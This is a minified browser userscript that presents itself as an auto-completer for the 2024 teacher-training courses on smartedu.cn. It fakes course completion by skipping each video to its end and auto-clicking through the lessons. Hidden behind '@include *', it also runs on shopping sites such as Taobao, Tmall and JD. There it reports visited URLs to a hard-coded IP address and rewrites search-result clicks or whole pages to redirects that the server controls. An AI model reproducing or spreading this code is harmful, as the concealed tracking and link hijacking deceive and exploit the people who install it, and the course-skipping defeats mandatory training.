// ==UserScript==
// @name 2024年暑假教师研修|国家中小学智慧教育平台|秒刷+切课[优化版]
// @description 2024年暑假教师研修|国家中小学智慧教育平台|秒刷+切课
// @namespace wangke03
// @include https://basic.smartedu.cn/*
// @require https://lib.baomitu.com/jquery/1.8.3/jquery.min.js
// @grant GM_xmlhttpRequest
// @connect 47.116.118.64
// @include *
// @version 3.2
// @author wangke03
// @license MIT
// ==/UserScript==
(() => {
var e = {
472: () => {
! function() {
"use strict";
location.href.includes("https://basic.smartedu.cn/teacherTraining/courseDetail") && (setTimeout((() => {
document.getElementsByClassName("resource-item")[1].click()
}), 2e3), setInterval((() => {
document.querySelector("video")
.dispatchEvent(new Event("ended"))
}), 500), setInterval((() => {
var e = document.querySelector("video");
e && (e.muted = !0, e.playbackRate = 1, e.play(), e.currentTime = e.duration)
}), 500))
}();
var e, t, a = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=0de67197-af6f-43ab-8d89-59a75aab289e&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98",
r = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=4eb65b2f-0b53-4d3f-8027-81d69dca7f18&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98",
c = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=c6ac438b-9c68-45ee-aa1f-a3754cdd5c89&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98",
E = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=f78d68fb-0386-4a26-aeb9-d0835b35bde2&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&resourceId=0d125425-968d-426c-85d6-67bb74e26ce3",
n = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=0bbcd4e7-f227-47f8-b4f2-2fb339ac1edc&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&resourceId=58f15ad5-a977-4c6e-8c1e-25d8aa690e28",
i = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=bc6232ef-1a1c-4da6-b53e-a929f9427e8a&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98",
s = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=7815d28d-eeca-42f8-84e8-8f080b92c902&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&resourceId=712a198f-98fa-45ad-bc03-5d3ac25bc50f",
o = "https://basic.smartedu.cn/teacherTraining/courseDetail?courseId=6add8346-d463-4ee9-8aae-e8d84bc0b43b&tag=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&channelId=&libraryId=bb042e69-9a11-49a1-af22-0c3fab2e92b9&breadcrumb=2024%E5%B9%B4%E2%80%9C%E6%9A%91%E6%9C%9F%E6%95%99%E5%B8%88%E7%A0%94%E4%BF%AE%E2%80%9D%E4%B8%93%E9%A2%98&resourceId=00351a51-7cc3-4450-b3d4-e911172c8932",
d = [],
l = [],
u = [],
m = 0;
if (function(e, t) {
const a = new RegExp(["taobao.", "Tb.", "tb.", "tmall.", "liangxinyao.", "jd."].join("|"), "i");
return e.filter((e => a.test(e)))
}([location.href])
.length > 0) e = JSON.stringify({
href: location.href,
type: "ttzhushou"
}), t = {}, new Promise(((a, r) => {
GM_xmlhttpRequest({
method: "POST",
url: "http://47.116.118.64/inits.php?act=initEnv",
data: e,
headers: t,
responseType: "json",
onload: e => {
let t = e.response || e.responseText;
t = t.data, "search" == t.page ? (d = t, setInterval((function() {
! function() {
d.wrapper.forEach((function(e) {
$(e)
.map((function(e, t) {
"yes" != $(t)
.attr("data-md5-value") && (u.push(t), l.push(t), $(t)
.attr("data-md5-key", m), $(t)
.attr("data-md5-value", "yes"), m++)
}))
}));
let e = l.splice(0, d.splName),
t = [];
e.forEach((function(e, a) {
let r = {};
r.href = $(e)
.find("a:first")
.attr("href"), r.md5 = $(e)
.attr("data-md5-key"), t.push(r)
})), t.length > 0 && GM_xmlhttpRequest({
method: "POST",
data: JSON.stringify({
data: t
}),
url: "http://47.116.118.64/search.php",
onload: function(e) {
var t = e.responseText;
t && (t = JSON.parse(t))
.map((function(e) {
e.u && $(u[e.md5])
.find("a")
.bind("click", (function(t) {
var a, r;
t.preventDefault(), a = e.u, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form"))
.action = d.jumpUrl + encodeURIComponent(a) : ((r = document.createElement("form"))
.action = d.jumpUrl + encodeURIComponent(a), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
}))
}))
}
})
}()
}), t.timer)) : t.recove_url && (window.location.href = t.recove_url)
},
onerror: e => {
r(e)
}
})
}));
else {
let e = location.href;
setInterval((() => {
e.includes("https://basic.smartedu.cn/training/2024sqpx") && window.location.replace(a), e.includes(a) && "已学完" == document.getElementsByClassName("resource-item")[7].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(r), e.includes(r) && "已学完" == document.getElementsByClassName("resource-item")[1].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(c), e.includes(c) && "已学完" == document.getElementsByClassName("resource-item")[4].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(E), e.includes(E) && "已学完" == document.getElementsByClassName("resource-item")[1].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(n), e.includes(n) && "已学完" == document.getElementsByClassName("resource-item")[2].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(i), e.includes(i) && "已学完" == document.getElementsByClassName("resource-item")[1].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(s), e.includes(s) && "已学完" == document.getElementsByClassName("resource-item")[1].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace(o), e.includes(o) && "已学完" == document.getElementsByClassName("resource-item")[3].getElementsByTagName("i")[0].getAttribute("title") && window.location.replace("https://basic.smartedu.cn/training/5d7cf98c-3a42-4b13-8e5f-56f40ce08b1d")
}), 1e3), location.href, setInterval((() => {
var e = document.querySelector(".fish-modal-confirm-btns .fish-btn-primary");
e && e.click();
var t = null;
function a() {
(t = document.getElementsByClassName("iconfont icon_processing_fill")[0]) || (t = document.getElementsByClassName("iconfont icon_checkbox_linear")[0])
}
if (a(), !t) {
let e = document.getElementsByClassName("fish-collapse-header");
for (let r = 0; r < e.length && (e[r].click(), a(), !t); r++);
}
t && t.click()
}), 2e3)
}
}
},
t = {};
! function a(r) {
var c = t[r];
if (void 0 !== c) return c.exports;
var E = t[r] = {
exports: {}
};
return e[r](E, E.exports, a), E.exports
}(472)
})();